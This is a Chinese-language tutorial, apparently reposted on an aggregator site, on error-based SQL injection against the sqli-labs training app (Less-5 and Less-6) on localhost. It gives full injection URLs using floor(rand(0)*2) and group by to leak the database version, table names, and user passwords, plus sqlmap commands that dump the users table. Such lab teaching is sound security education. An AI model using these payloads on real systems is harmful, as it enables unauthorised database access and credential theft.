SQL | GET报错注入

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL | GET报错注入相关的知识,希望对你有一定的参考价值。

SQL | GET报错注入

1.报错注入介绍

报错注入形式上是两个嵌套的查询,即select…(select…),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,
然后再执行外面的select,双注入主要涉及到了几个SQL函数:
rand()随机函数,返回0~1之间的某个值
floor(a)向下取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clase分组语句,按照查询结果分组
通过报错来显示具体信息

查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再执行一次。在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011

select count(*) from 表名 group by floor(rand(0)*2);

2.GET单引号报错注入

Sqli-Lab Less 5为例
1.获取数据库

http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,3 from(select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+


2.获取表名

http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,3 from(select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+


3.获取用户信息

http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,3 from(select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+

3.GET双引号报错注入

与单引号注入大同小异
1.获取数据库

http://localhost/sqli-labs-master/Less-6/?id=1" union select 1,2,3 from(select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+


2.获取数据表

http://localhost/sqli-labs-master/Less-6/?id=1" union select 1,2,3 from(select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+


3.获取用户信息

http://localhost/sqli-labs-master/Less-6/?id=1" union select 1,2,3 from(select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+

4.Sqlmap安全测试

在我们实战或工作当中,报错注入使用手动测试可能会影响效率,我们还是使用sqlmap进行测试
1.获取数据库

python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-5/?id=1" --current-db


2.获取数据库中的数据表

python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-5/?id=1" -D security --tables


3.获取字段名

python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-5/?id=1" -D security -T users --columns


4.获取字段中的内容

python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-5/?id=1" -D security -T users -C "username,password" --dump

以上是关于SQL | GET报错注入的主要内容,如果未能解决你的问题,请参考以下文章

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

SQL注入之GET型(search)

常见sql注入的类型

安鸾渗透实战平台|SQL数字型GET注入02

SQL注入之GET型(select)

SQl注入的分类